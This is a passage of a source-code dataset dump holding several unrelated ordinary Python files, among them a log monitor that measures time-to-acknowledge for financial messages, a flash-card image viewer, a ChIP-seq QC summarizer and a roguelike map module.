request.user)\n notificationsToDelete = userNotifications.exclude(action = 1)\n deleted_pks = []\n for notification in notificationsToDelete:\n deleted_pks.append(notification.pk)\n \n notificationsToDelete.delete()\n context_dict = {\"deleted_pks\" : deleted_pks}\n return HttpResponse(\n json.dumps(context_dict),\n content_type = \"application/json\"\n )\n \n\n","sub_path":"youEncode/notifying/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"179954599","text":"from pprint import pprint\nfrom random import shuffle\nfrom math import ceil\nimport numpy as np\n\n\ndef func(x):\n return x[0] ^ (not x[4])\n\n\nK = 0.5\nN = 6\nM = 1 << N\nNEED = ceil(M * K)\ntraining = list()\nfor mask in range(1 << N):\n arr = list(map(int, bin(mask)[2:].rjust(N, '0')))\n training.append([arr, func(arr)])\nshuffle(training)\n\nprint('training input:')\nX = [x[0] for x in training[:NEED]]\npprint(X)\nprint('training output:')\nY = [x[1] for x in training[:NEED]]\nprint(Y)\nprint('input:')\nI = [x[0] for x in training[NEED:]]\npprint(I)\nprint('output:')\nO = [x[1] for x in training[NEED:]]\nprint(O)\n","sub_path":"generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"166545795","text":"#!/usr/bin/env python\n# Time-stamp: <2021-04-20 00:29:38 Tao Liu>\n\nimport os\nimport sys\nimport re\n# ------------------------------------\n# Main function\n# ------------------------------------\ndef main():\n if len(sys.argv) < 2:\n sys.stderr.write(\"need 1+ paras: %s xN \\n\" % sys.argv[0])\n sys.exit(1)\n\n files = sys.argv[1:]\n print( \"sample_name\\treplicate\\ttotal_reads\\ttotal_peaks\\tpeaks_in_blacklist\\tpeaks_in_promoters\\tratio_of_peaks_in_promoters\\tpeaks_in_DHSs\\tratio_of_peaks_in_DHSs\")\n\n for filename in files:\n total_reads = -1\n total_peaks = -1\n blacklist_peaks = -1\n promoter_peaks = -1\n dhs_peaks = -1\n\n tmp = os.path.basename(filename).rstrip(\".peakstat.txt\")\n (n, r) = re.match(\"(.*?)\\_r(\\d+)\",tmp).groups()\n\n fhd = open( filename, \"r\" )\n\n # total reads\n l = fhd.readline()\n total_reads = int(l.split(\": \")[1])\n # skip the next line\n fhd.readline()\n # total peaks\n l = fhd.readline() \n total_peaks = int(l.rstrip())\n # skip the next three lines\n fhd.readline()\n fhd.readline()\n fhd.readline()\n # blacklist peaks\n l = fhd.readline() \n blacklist_peaks = int(l.rstrip())\n # skip the next line\n fhd.readline()\n fhd.readline()\n fhd.readline()\n # in promoter\n l = fhd.readline() \n promoter_peaks = int(l.rstrip())\n # skip the next line\n fhd.readline() \n # in DHS\n l = fhd.readline() \n dhs_peaks = int(l.rstrip())\n\n print( f\"{n}\\t{r}\\t{total_reads}\\t{total_peaks}\\t{blacklist_peaks}\\t{promoter_peaks}\\t{promoter_peaks/total_peaks:.2f}\\t{dhs_peaks}\\t{dhs_peaks/total_peaks:2f}\")\n \nif __name__ == '__main__':\n main()\n","sub_path":"Bulk-ChIP-seq/utils/chip_peakqc_summary.py","file_name":"chip_peakqc_summary.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"553251929","text":"# This Python file uses the following encoding: utf-8\nfrom Russian_Flash_Cards import *\nimport glob\nimport ntpath\nfrom subprocess import DEVNULL, STDOUT, check_call\n\n\nclass LongText():\n\n long_images = []\n image_ext = [\"jpg\", \"jpeg\", \"png\"]\n\n long_images_path = \"\"\n if ON_LINUX:\n long_images_path = LINUX_PATH + \"\\\\images\\\\long_text\\\\\"\n else:\n long_images_path = WINDOWS_PATH + \"\\\\images\\\\long_text\\\\\"\n\n def query_images(self):\n # print(WINDOWS_PATH)\n # print(self.long_images_path)\n for ext in self.image_ext:\n a = glob.glob(self.long_images_path + \"*.\" + ext)\n for aa in a:\n self.long_images.append(aa)\n # print(str(len(self.long_images)))\n # print(self.long_images)\n # exit()\n\n def get_random_image(self):\n r = my_randint(len(self.long_images))\n # print(str(r))\n # exit()\n file = self.long_images[r]\n if ON_LINUX:\n # subprocess.call([\"xdg-open\", file])\n call([\"xdg-open\", file])\n else:\n os.startfile(file)\n\n inp = input(str(\"Press any key when ready.\"))\n\n if ON_LINUX:\n pass\n else:\n window_title = ntpath.basename(file) + \" - \" + IMAGE_PROGRAM_TITLE\n check_call('taskkill /fi \"WINDOWTITLE eq ' + window_title + '\"', stdout=DEVNULL, stderr=STDOUT)\n del self.long_images[r]\n if len(self.long_images) > 0:\n self.get_random_image()\n else:\n print(\"All done!\")\n exit()\n\n def run(self):\n self.query_images()\n self.get_random_image()\n\n\nif __name__ == \"__main__\":\n a = LongText()\n a.run()\n","sub_path":"libs/LongText.py","file_name":"LongText.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"105449348","text":"#!/usr/bin/env python\n\n\n\"\"\" Implementation of the ParserStrategy for TailWatch.\n\n It provides statistics on the number of messages, and the round trip\n time (that is the time for a message to be acknowledge.\n\"\"\"\n\n\nfrom collections import namedtuple, Counter\nimport datetime\nimport glob\nimport logging\nimport logging.handlers\nimport os\nimport re\nimport random\nimport sqlite3\nimport time\n\nfrom tailwatch import TailFile\nfrom tailwatch import TailWatchProcessorConsolidated\nfrom tailwatch import ParserStrategy\nfrom tailwatch import AlgoStrategy\n\nfrom db_engine import SQLite3DBStrategy\n\nROOT_DIR = os.path.abspath(os.path.join(os.path.dirname( __file__ ), '..'))\nlog_file = os.path.join(ROOT_DIR, \"log/mfp_activity_monitor.log\")\nlogger_name = \"ActivityParser\"\nlogger = logging.getLogger(logger_name)\nlogger.setLevel(logging.INFO)\nfh = logging.handlers.RotatingFileHandler(log_file, maxBytes=2000000,\n backupCount=5)\nlog_output = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\nformatter = logging.Formatter(log_output)\nfh.setFormatter(formatter)\nlogger.addHandler(fh)\n\ndef tailWatchActivityFactory(env='prod'):\n logger = logging.getLogger(logger_name + \".tailWatchActivityFactory\")\n logger.info(\"Initialized the environment '%s'\" % env)\n if env == 'prod':\n folder = \"/swift/MFP/Mfp/log/mfp[0-9][0-9]\"\n algo = ActivityAlgoStrategy(db_engine='sqlite3')\n twpc = TailWatchProcessorConsolidated(algo=algo)\n for fld in glob.glob(folder):\n parser = ActivityParserStrategy(folder=fld)\n tf = TailFile(parser=parser)\n twpc.register(tf)\n return twpc\n elif env == 'ppe':\n folder = \"/swift/MFP/Mfp/log/mfp[0-9][0-9]\"\n algo = ActivityAlgoStrategy(db_engine='sqlite3_ppe', sleep_time=10)\n twpc = TailWatchProcessorConsolidated(algo=algo)\n for fld in glob.glob(folder):\n parser = ActivityParserStrategy(folder=fld)\n tf = TailFile(parser=parser)\n twpc.register(tf)\n return twpc\n elif env == 'test':\n folder = os.path.join(ROOT_DIR, \"tests/log/mfp[0-9][0-9]\")\n f = ['20160222120001',\n '20160223100001',\n '20160225090001',\n '20160225100001',\n '20160225110001',\n '20160226120001',\n '20160226150001',\n '20160226160001',\n '20160227200001',\n '20160227210001',\n '20160303110001',\n '20160304100001',\n '20160307140001',\n '20160309160001',\n '20160310080001']\n algo = ActivityAlgoStrategy(db_engine='sqlite3_test', sleep_time=0)\n twpc = TailWatchProcessorConsolidated(algo=algo)\n for filename_regex in f:\n for fld in glob.glob(folder):\n parser = ActivityParserStrategy(filename_regex=filename_regex,\n folder=fld)\n tf = TailFile(parser=parser, gotoeof=False)\n twpc.register(tf)\n return twpc\n else:\n raise ValueError(\"Error : Invalid Environment Name!\")\n\n\nclass ActivityParserStrategy(ParserStrategy):\n \"\"\"Representation of the activity log of the MFP\n \"\"\"\n def __init__(self,\n filename_regex=\"%Y%m%d%H0001\",\n folder=None,\n sleep_time=6):\n \"\"\"Initialisation of the ActivityParserStrategy\n\n Args:\n filename_regex :: String - default: \"%Y%m%d%H0001\"\n folder :: String - default: None\n sleep_time :: Int - default: 6\n -- Condition:\n - folder should be provided because there is no default folder\n \"\"\"\n if folder == None:\n raise ValueError(\"Error: a valid folder name should be provided\")\n\n self.filename_regex = filename_regex\n self.folder = folder\n self._sleep_time = sleep_time\n self.logger_name = logger_name\n # reference of the file\n self.filename = \"not initiaziled\"\n # Reconstruct the date - init with a fake date to void None\n self.date = \"19770106\"\n # messages that are waiting to be acked\n # state variable in order to keep the message that are still\n # waiting to be acked\n self.waiting_ack = list()\n\n @property\n def sleep_time(self):\n return self._sleep_time\n\n @sleep_time.setter\n def sleep_time(self, value):\n self._sleep_time = value\n\n def get_filename(self):\n \"\"\" Provide the filename of the file to be monitored.\n\n Args:\n self.filename_regex :: String\n self.folder :: String\n\n -- Definition :\n self.filename\n The regular expression used to construct the filename of\n the current file.\n\n self.folder\n The folder containing the file to monitor\n\n Returns:\n absolute_filename :: String\n\n -- Definition :\n the filename to monitor\n \"\"\"\n activity_log = \"%s_activity_%s.log\"\n dir_path = os.path.abspath(self.folder)\n datenow = datetime.datetime.now().strftime(self.filename_regex)\n folder = self.folder.split('/')[-1]\n filename = activity_log % (folder, datenow)\n absolute_filename = os.path.join(dir_path, filename)\n self.filename = absolute_filename\n # /test/log/mfp54/mfp54_activity_20160301140001.log\n self.date = absolute_filename.split('/')[-1]\\\n .split('.')[0].split('_')[2][0:8]\n return absolute_filename\n\n def report(self, extract_log):\n \"\"\"This function is used by the TailWatchProcessor in order to report\n the relevant information. If the application should take action it\n should be defined here too.\n\n Args:\n extract_log :: [String]\n\n -- Defintion:\n Raw input from the file that is being followed\n\n -- Condition:\n extract_log != []\n\n Returns:\n Nothing :: IO\n\n -- Definition :\n Write the stats in the database\n \"\"\"\n logger = logging.getLogger(logger_name + \".report\")\n d1 = datetime.datetime.now()\n logger.info(\"Processing: '%s'\" % self.filename)\n logger.info(\"Number of lines: %d\" % len(extract_log))\n ack_send_recv, msg_send_recv, fails = self.parse_lines(extract_log)\n ack_send_recv = self.add_today_to_ack(ack_send_recv)\n msg_send_recv = self.add_today_to_msg(msg_send_recv)\n msg_send_recv = self.waiting_ack + msg_send_recv\n logger.info(\"Ack Send or Recv: %d\" % len(ack_send_recv))\n logger.info(\"Msg Send or Recv: %d\" % len(msg_send_recv))\n logger.info(\"Msg Retry or Complete: %d\" % len(fails))\n acked_msg, waiting_ack = self.split_and_zip(ack_send_recv, msg_send_recv)\n self.waiting_ack = waiting_ack\n logger.info(\"Msg Acked: %d\" % len(acked_msg))\n logger.info(\"Msg Waiting Ack: %d\" % len(waiting_ack))\n logger.info(\"Computing Time To Ack (TTA) ...\")\n data_to_save = self.build_stats(acked_msg)\n logger.info(data_to_save)\n d2 = datetime.datetime.now()\n dlt = d2 - d1\n logger.info(\"Ran in '%.4fs' \" % dlt.total_seconds())\n return data_to_save\n\n def build_dump(self, what):\n \"\"\"Helper for messages that have been in complete stop finalize\n\n Args:\n line :: String\n\n Returns:\n message :: tuple\n \"\"\"\n ref = str(time.time()) + str(random.random())\n return (ref, \"time\", what, \"mfp\", \"bic\", \"tta\")\n\n def add_today_to_msg(self, messages):\n \"\"\"Reconstruct the time to add the day of today.\n\n Args:\n messages :: [(Ref :: String, Tim :: String, Dir :: String,\n MfpInst :: String, Bic :: String), ...]\n\n Return:\n messages :: [(Ref :: String, Tim :: String, Dir :: String,\n MfpInst :: String, Bic :: String), ...]\n \"\"\"\n f = lambda x: self.date + \" \" + x\n return [(r, f(x), d, m, b) for r, x, d, m, b in messages]\n\n def add_today_to_ack(self, messages):\n \"\"\"Reconstruct the time to add the day of today.\n\n Args:\n messages :: [(Ref :: String, Tim :: String), ...]\n\n Return:\n messages :: [(Ref :: String, Tim :: String), ...]\n \"\"\"\n f = lambda x: self.date + \" \" + x\n return [(r, f(x)) for r, x in messages]\n\n def message_send_recv(self, line):\n \"\"\"Extract the relevant information from the line containing a message\n sent or received.\n\n Args:\n line :: String\n\n -- Description:\n\n Message Sent:\n\n |10:08:59.9031|proxy101|21983|46975420503808|EXT-MESSAGE-SEND|\n esesfrpp:mfp37|esesfrpp:mfp37:1456746417:1|ACTIVE|\n 2016-03-04T10:08:59.902994|1|AXHQTS01CLUA_PMFR/PM.FRSMEDX5|\n SNL30226D1-2016-03-04T09:08:59.13362.000198Z|1|1799|8744|\n 2016-03-04T09:08:59Z\n\n ['',\n '10:08:59.9031',\n 'proxy101',\n '21983',\n '46975420503808',\n 'EXT-MESSAGE-SEND',\n 'esesfrpp:mfp37',\n 'esesfrpp:mfp37:1456746417:1',\n 'ACTIVE',\n '2016-03-04T10:08:59.902994',\n '1',\n 'AXHQTS01CLUA_PMFR/PM.FRSMEDX5',\n 'SNL30226D1-2016-03-04T09:08:59.13362.000198Z',\n '1',\n '1799',\n '8744',\n '2016-03-04T09:08:59Z']\n\n Message Received:\n\n |14:16:54.7501|proxy101|14508|47733670950656|EXT-MESSAGE-RECV|\n esesfrpp:mfp35|esesfrpp:mfp35:1456746339:1|ACTIVE|\n 2016-03-01T14:16:54.747927|1|\n esesfrpp_t2smig2msg!p/esesfrpp_pmdc2msg3!p/esesfrpp_pmdc2msg3!p:m: 000224/10|\n swi00051-2016-03-01T13:16:46.25396.000077Z|0||12312|\n\n ['',\n '14:16:54.7501',\n 'proxy101',\n '14508',\n '47733670950656',\n 'EXT-MESSAGE-RECV',\n 'esesfrpp:mfp35',\n 'esesfrpp:mfp35:1456746339:1',\n 'ACTIVE',\n '2016-03-01T14:16:54.747927',\n '1',\n 'esesfrpp_t2smig2msg!p/esesfrpp_pmdc2msg3!p/esesfrpp_pmdc2msg3!p:m:000224/10',\n 'swi00051-2016-03-01T13:16:46.25396.000077Z',\n '0',\n '',\n '12312',\n '']\n\n Returns:\n details :: (Ref :: String, Time :: String, Dir :: String,\n MFPInst :: String, Bic :: String)\n\n None :: None\n In case of IndexError\n\n \"\"\"\n l = line.split(\"|\")\n try:\n # SEND: '10:08:59.9031'\n # RECV: '14:16:54.7501',\n time = l[1]\n # SEND: 'esesfrpp:mfp37'\n # RECV: 'esesfrpp:mfp35',\n bic, mfp_inst = l[6].split(\":\")\n # SEND: 'EXT-MESSAGE-SEND'\n # RECV: 'EXT-MESSAGE-RECV',\n dir = l[5].split(\"-\")[2]\n # SEND: 'SNL30226D1-2016-03-04T09:08:59.13362.000198Z'\n # RECV: 'swi00051-2016-03-01T13:16:46.25396.000077Z',\n ref = l[12]\n return (ref, time, dir, mfp_inst, bic)\n except IndexError:\n logger.exception(\"IndexError in match SND|RCV : %s\" % line)\n\n def ack_send_recv(self, line):\n \"\"\"Retrieve time and reference for Ack\n\n Args:\n line :: String\n\n Returns:\n\n ack_send_recv :: (Ref :: String, Time :: String)\n\n -- Description\n\n Ack Sent:\n\n |10:53:15.1207|proxy101|17623|47092970149632|EXT-ACK-SEND|\n esesfrpp:mfp34|esesfrpp:mfp34:1456746372:1|ACTIVE|\n 2016-03-04T10:53:15.103224|1|\n esesfrpp_t2smig2msg!p/esesfrpp_pmdc2msg2!p/esesfrpp_pmdc2msg2!p:m:000222/10|\n swi00052-2016-03-04T09:53:09.22544.000692Z|\n swi00052-2016-03-04T09:53:09.22544.000693Z|0|2016-03-04T09:53:15Z\n\n ['',\n '10:53:15.1207',\n 'proxy101',\n '17623',\n '47092970149632',\n 'EXT-ACK-SEND',\n 'esesfrpp:mfp34',\n 'esesfrpp:mfp34:1456746372:1',\n 'ACTIVE',\n '2016-03-04T10:53:15.103224',\n '1',\n 'esesfrpp_t2smig2msg!p/esesfrpp_pmdc2msg2!p/esesfrpp_pmdc2msg2!p:m:000222/10',\n 'swi00052-2016-03-04T09:53:09.22544.000692Z',\n 'swi00052-2016-03-04T09:53:09.22544.000693Z',\n '0',\n '2016-03-04T09:53:15Z']\n\n Ack Received:\n\n |09:48:55.0769|proxy101|4736|47245667899136|EXT-ACK-RECV|esesfrpp:mfp35|\n esesfrpp:mfp35:1456038451:1|ACTIVE|2016-02-25T09:48:55.67503|1|\n AXHQTS01CLUA_PMFR/PM.FRSMEDX3|SNL30226D1-2016-02-25T08:48:51.31318.000333Z|\n swi21000-2016-02-25T08:48:51.02609.000926Z|9492|2016-02-25T08:48:55Z\n\n ['',\n '09:48:55.0769',\n 'proxy101',\n '4736',\n '47245667899136',\n 'EXT-ACK-RECV',\n 'esesfrpp:mfp35',\n 'esesfrpp:mfp35:1456038451:1',\n 'ACTIVE',\n '2016-02-25T09:48:55.67503',\n '1',\n 'AXHQTS01CLUA_PMFR/PM.FRSMEDX3',\n 'SNL30226D1-2016-02-25T08:48:51.31318.000333Z',\n 'swi21000-2016-02-25T08:48:51.02609.000926Z',\n '9492',\n '2016-02-25T08:48:55Z']\n \"\"\"\n l = line.split(\"|\")\n try:\n # SEND: '10:53:15.1207'\n # RECV: '09:48:55.0769'\n ack_time = l[1]\n # SEND: 'swi00052-2016-03-04T09:53:09.22544.000692Z'\n # RECV: 'SNL30226D1-2016-02-25T08:48:51.31318.000333Z'\n snl_ref = l[12]\n return (snl_ref, ack_time)\n except IndexError:\n logger.exception(\"IndexError in match ACK_SND|ACK_RCV : %s\" % line)\n\n def parse_lines(self, extract_log):\n \"\"\"Calculate the round trip time for the messages processed.\n\n Args:\n extract_log :: [String]\n\n -- Definition:\n Contains all the data stored on the file\n\n -- Description:\n\n Returns:\n result :: (Ack_Send_Recv, Msg_Send_Recv, Msg_Retr_Cmpl)\n\n -- Definition\n Ack_Send_Recv :: [(Ref :: String, Time :: String), ...]\n\n Msg_Retr_Send_Recv :: [(Ref :: String, Time :: String, Dir :: String,\n MFPInst :: String, BIC :: String), ...]\n\n Msg_Retr_Compl :: [(Ref :: String, Time :: String, Code :: String,\n Dump_MFP, Dump_BIC, Dump_TTA :: String),...]\n \"\"\"\n msg_retr_cmpl = list()\n msg_send_recv = list()\n ack_send_recv = list()\n for line in extract_log:\n ln = line.strip()\n if re.match(r'.*\\|RETRY-SEND\\|.*', ln):\n t = self.build_dump(\"RETR\")\n msg_retr_cmpl.append(t)\n elif re.match(r'.*\\|COMPLETE-STOP-FINALIZE\\|.*', ln):\n t = self.build_dump(\"CMPL\")\n msg_retr_cmpl.append(t)\n elif re.match(r'.*\\|EXT-MESSAGE-SEND\\|.*|.*\\|EXT-MESSAGE-RECV\\|.*',\n ln):\n t = self.message_send_recv(ln)\n msg_send_recv.append(t)\n elif re.match(r'.*\\|EXT-ACK-RECV\\|.*|.*\\|EXT-ACK-SEND\\|.*', ln):\n t = self.ack_send_recv(ln)\n ack_send_recv.append(t)\n else:\n pass # it can be ignored\n return (ack_send_recv, msg_send_recv, msg_retr_cmpl)\n\n def elem_plus(self, ack_send_recv, v):\n \"\"\"Helper function that will allow to filter the list of messages\n if they have been Acked or Nacked\n\n Args:\n ack_send_recv :: [(Ref :: String, Time :: String), ...]\n x :: (Ref :: String, Time :: String, Dir :: String,\n MFPInst :: String, Bic :: String)\n\n Returns:\n result :: (True, (Ref :: String, Time :: String, Dir :: String,\n MFPInst :: String, Bic :: String, TTA :: String))\n or (False, (Ref :: String, Time :: String, Dir :: String,\n MFPInst :: String, Bic :: String))\n \"\"\"\n for x, y in ack_send_recv:\n if x == v[0]:\n return True, v + (y,)\n return False, v\n\n def split_and_zip(self, ack_send_recv, msg_send_recv):\n f = lambda x: self.elem_plus(ack_send_recv, x)\n acked_msg = list()\n waiting_acked = list()\n for x in msg_send_recv:\n exists, new_x = f(x)\n if exists:\n acked_msg.append(new_x)\n else:\n waiting_acked.append(x)\n return (acked_msg, waiting_acked)\n\n def compute_time_to_ack(self, msg_acked):\n \"\"\"Helper function that will calculate the delta between two time\n\n Args:\n x :: (Ref :: String, Time :: String, Dir :: String,\n MFPInst :: String, Bic :: String, Time :: String)\n\n Returns:\n fullx :: (Ref :: String, Time :: String, Dir :: String,\n MFPInst :: String, Bic :: String, TTA :: String)\n\n -- Definition:\n x + Time To Ack\n\n -- Description:\n Reference of EXT-ACK-RECV matches reference of EXT-MESSAGE-SEND\n Reference of EXT-ACK-SEND matches reference of EXT-MESSAGE-RECV\n \"\"\"\n time_format = \"%Y%m%d %H:%M:%S.%f\"\n d = lambda x: datetime.datetime.strptime(x, time_format)\n msg_time, ack_time = msg_acked[1], msg_acked[-1]\n tta = abs(d(ack_time) - d(msg_time))\n return msg_acked[:-1] + (str(tta.total_seconds()),)\n\n def build_stats(self, msg_acked):\n \"\"\" Construct the list of messages with their time to ack measure\n\n Args:\n msg_acked :: (Ref :: String, Time :: String, Dir :: String,\n MFPInst :: String, Bic :: String, Time :: String)\n\n Returns:\n msg_stats :: (Ref :: String, Time :: String, Dir :: String,\n MFPInst :: String, Bic :: String, TTA :: String)\n \"\"\"\n f = lambda x: self.compute_time_to_ack(x)\n return list(map(f, msg_acked))\n\n\ndef db_factory(db_engine):\n if db_engine == 'sqlite3':\n db_name = os.path.join(ROOT_DIR, \"data/rtt.db\")\n schema = os.path.join(ROOT_DIR, \"config/schema.sql\")\n elif db_engine == 'sqlite3_ppe':\n db_name = os.path.join(ROOT_DIR, \"tests/data/rtt_ppe.db\")\n schema = os.path.join(ROOT_DIR, \"tests/config/schema.sql\")\n elif db_engine == 'sqlite3_test':\n db_name = os.path.join(ROOT_DIR, \"tests/data/rtt_test.db\")\n schema = os.path.join(ROOT_DIR, \"tests/config/schema.sql\")\n else:\n raise ValueError('Environment not defined!')\n\n return SQLite3DBStrategy(db_name=db_name, schema=schema)\n\nclass ActivityAlgoStrategy(AlgoStrategy):\n \"\"\"Implementation of the AlgoStrategy for the\n TailWatchProcessorCondolidated\n \"\"\"\n def __init__(self, db_engine, sleep_time=6):\n \"\"\"\n Instanciate the object with the necessary variable in order to take\n stats\n \"\"\"\n self._sleep_time = sleep_time\n self.db = db_factory(db_engine)\n self.messages = list()\n self.count = namedtuple('Counter', (\"SEND\", \"RECV\"))\n self.count.SEND = Counter()\n self.count.RECV = Counter()\n self.current_date = datetime.datetime.today().strftime('%d%m%Y')\n\n @property\n def sleep_time(self):\n return self._sleep_time\n\n @sleep_time.setter\n def sleep_time(self, value):\n self._sleep_time = value\n\n def counter(self, x):\n _, _, dir, _, bic, _ = x\n present_date = datetime.datetime.today().strftime('%d%m%Y')\n\n if self.current_date != present_date:\n self.count.SEND = Counter()\n self.count.RECV = Counter()\n self.current_date = present_date\n\n if dir == 'SEND':\n self.count.SEND[bic] += 1\n return (self.count.SEND[bic],) + x\n elif dir == 'RECV':\n self.count.RECV[bic] += 1\n return (self.count.RECV[bic],) + x\n else:\n raise ValueError(\"Error: nor SEND nor RECV %s\" % x)\n\n def collect(self, messages):\n self.messages = self.messages + messages\n\n def __call__(self):\n lg = logger_name + \".Algo.ActivityAlgo.__call__\"\n logger = logging.getLogger(lg)\n logger.info(\"Sorting the messages ...\")\n msg = sorted(self.messages, key=lambda x: x[1])\n self.messages = list()\n logger.info(\"Assigning sequence number ...\")\n messages = list(map(self.counter, msg))\n #m = \"\\n\".join(str(v) for v in messages)\n logger.info(\"Updating database '%s' ...\" % self.db.db_name)\n d1 = datetime.datetime.now()\n self.db.update_database(messages)\n d2 = datetime.datetime.now()\n dlt = d2 - d1\n logger.info(\"Written '%d' record(s) in '%.4fs'\" % (len(messages),\n dlt.total_seconds()))\n\n\nif __name__ == \"__main__\":\n try:\n twpc = tailWatchActivityFactory(env='prod')\n twpc.run_forever()\n except KeyboardInterrupt:\n print(\"Goodbye!\")\n","sub_path":"swiftsystem/monitor_activity.py","file_name":"monitor_activity.py","file_ext":"py","file_size_in_byte":20844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"349341837","text":"from tile import struct_Tile\nimport constants\nimport glob\nimport libtcodpy as libtcod\nfrom helper import *\n\n\n# .___ ___. ___ .______ \n# | \\/ | / \\ | _ \\ \n# | \\ / | / ^ \\ | |_) | \n# | |\\/| | / /_\\ \\ | ___/ \n# | | | | / _____ \\ | | \n# |__| |__| /__/ \\__\\ | _| \n\ndef map_create():\n new_map = [[struct_Tile(False) for y in xrange(constants.MAP_HEIGHT)] for x in xrange(constants.MAP_WIDTH) ]\n new_map[10][10].block_path = True \n new_map[10][15].block_path = True \n\n # create wall\n for x in xrange( constants.MAP_WIDTH ):\n new_map[x][0].block_path = True\n new_map[x][constants.MAP_HEIGHT-1].block_path = True\n for y in xrange( constants.MAP_HEIGHT):\n new_map[0][y].block_path = True\n new_map[constants.MAP_WIDTH-1][y].block_path = True\n\n map_make_fov(new_map)\n\n return new_map\n\ndef draw_map(map_to_draw):\n for x in xrange( len( map_to_draw ) ):\n for y in xrange( len( map_to_draw[0] ) ):\n # fov\n is_visible = libtcod.map_is_in_fov( glob.FOV_MAP , x, y )\n if is_visible:\n \n map_to_draw[x][y].explored = True\n\n if map_to_draw[x][y].block_path is True:\n glob.SURFACE_MAIN.blit( glob.ASSETS.S_WALL , ( x*constants.CELL_WIDTH, y*constants.CELL_HEIGHT ) )\n else:\n glob.SURFACE_MAIN.blit( glob.ASSETS.S_FLOOR , ( x*constants.CELL_WIDTH, y*constants.CELL_HEIGHT ) )\n else:\n if map_to_draw[x][y].explored :\n if map_to_draw[x][y].block_path is True:\n glob.SURFACE_MAIN.blit( glob.ASSETS.S_WALLEXPLORED , ( x*constants.CELL_WIDTH, y*constants.CELL_HEIGHT ) )\n else:\n glob.SURFACE_MAIN.blit( glob.ASSETS.S_FLOOREXPLORED , ( x*constants.CELL_WIDTH, y*constants.CELL_HEIGHT ) )\n\n\ndef draw_debug():\n draw_text( glob.SURFACE_MAIN , \"FPS: {}\".format(int(glob.CLOCK.get_fps())) , glob.ASSETS.FONT_DEBUG_MESSAGE, (0,0), constants.COLOR_WHITE , constants.COLOR_BLACK )\n\ndef draw_messages():\n text_height = helper_text_height( glob.ASSETS.FONT_MESSAGE_TEXT )\n start_y = constants.MAP_HEIGHT * constants.CELL_HEIGHT - constants.NUM_MESSAGES * text_height - 4\n for i, (message, color) in enumerate(glob.GAME.message_history[-constants.NUM_MESSAGES:]) :\n draw_text( glob.SURFACE_MAIN, message, glob.ASSETS.FONT_MESSAGE_TEXT, ( 0, start_y + text_height*i ), color, constants.COLOR_BLACK )\n\ndef draw_text(display_surface, text_to_display, font , coords, text_color , back_color= None , center = False ):\n text_surf, text_rect = helper_text_objects(text_to_display ,font , text_color, back_color)\n\n if not center:\n text_rect.topleft = coords \n else:\n text_rect.center = coords \n display_surface.blit( text_surf, text_rect )\n\n\ndef draw_tile_rect( new_surface, coords , tile_color = None, tile_alpha = 128 , mark = None):\n new_surface.fill( tile_color or constants.COLOR_WHITE)\n new_surface.set_alpha( tile_alpha )\n\n # added\n if mark:\n draw_text( \n new_surface , mark, font = glob.ASSETS.FONT_CURSOR_TEXT , \n coords = (constants.CELL_WIDTH/2, constants.CELL_HEIGHT/2), text_color = constants.COLOR_BLACK, center = True )\n glob.SURFACE_MAIN.blit( new_surface , ( coords[0]*constants.CELL_WIDTH, coords[1]*constants.CELL_HEIGHT) ) \n\n\n\n\ndef map_make_fov( incoming_map ):\n '''\n actually create the map that we can use to calculate what the fov is \n '''\n \n glob.FOV_MAP = libtcod.map_new( constants.MAP_WIDTH, constants.MAP_HEIGHT )\n for y in xrange(constants.MAP_HEIGHT):\n for x in xrange(constants.MAP_WIDTH):\n # (map,x,y, isTransparet, isWalkable)\n libtcod.map_set_properties( \n glob.FOV_MAP, x, y , \n not incoming_map[x][y].block_path , not incoming_map[x][y].block_path )\n\n\n\ndef map_calculate_fov():\n if glob.FOV_CALCULATE:\n glob.FOV_CALCULATE = False \n libtcod.map_compute_fov( \n glob.FOV_MAP , glob.PLAYER.x , glob.PLAYER.y , constants.TORCH_RADIUS , constants.FOV_LIGHT_WALLS, \n constants.FOV_ALGO )\n\ndef map_objects_at_coords(coords_x, coords_y):\n object_options = [\n obj for obj in glob.GAME.current_objects if obj.x == coords_x and obj.y == coords_y ]\n\n return object_options\n\ndef map_check_for_creature(coords_x, coords_y):\n object_options = [\n obj for obj in glob.GAME.current_objects if obj.creature and obj.x == coords_x and obj.y == coords_y ]\n\n return len(object_options) > 0 and object_options[0] or None\n\n\ndef map_find_line(coords1, coords2, max_range , penetrate_walls , pierce_creature ):\n \n assert max_range is None or isinstance(max_range,int) \n\n x1,y1 = coords1\n x2,y2 = coords2\n\n libtcod.line_init(x1,y1, x2,y2)\n calc_x, calc_y = libtcod.line_step()\n coord_list = []\n \n cnt = 0\n while calc_x is not None :\n if not penetrate_walls and glob.GAME.current_map[calc_x][calc_y].block_path :\n return coord_list\n if not pierce_creature and map_check_for_creature( calc_x, calc_y ):\n return coord_list\n\n coord_list.append( (calc_x, calc_y) )\n cnt += 1 \n if (calc_x, calc_y) == coords2 or (max_range is not None and cnt >= max_range):\n return coord_list\n calc_x, calc_y = libtcod.line_step()\n \n return [ coords1 ]\n\ndef map_find_radius( coords , radius):\n center_x , center_y = coords \n tile_list = []\n for x in xrange( center_x - radius, center_x + radius + 1 ):\n for y in xrange( center_y - radius, center_y + radius + 1 ):\n tile_list.append( ( x,y ) )\n return tile_list \n\n\n\n\ndef game_message( game_msg , msg_color = constants.COLOR_GREY ):\n glob.GAME.message_history.append( (game_msg , msg_color) )\n\n\n","sub_path":"tcodDemo/map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":5943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"334786047","text":"# Python bytecode 2.7 (decompiled from Python 2.7)\n# Embedded file name: e:\\jenkins\\workspace\\client_SERENITY\\branches\\release\\SERENITY\\eve\\client\\script\\ui\\shared\\planet\\planetWindow.py\nfrom 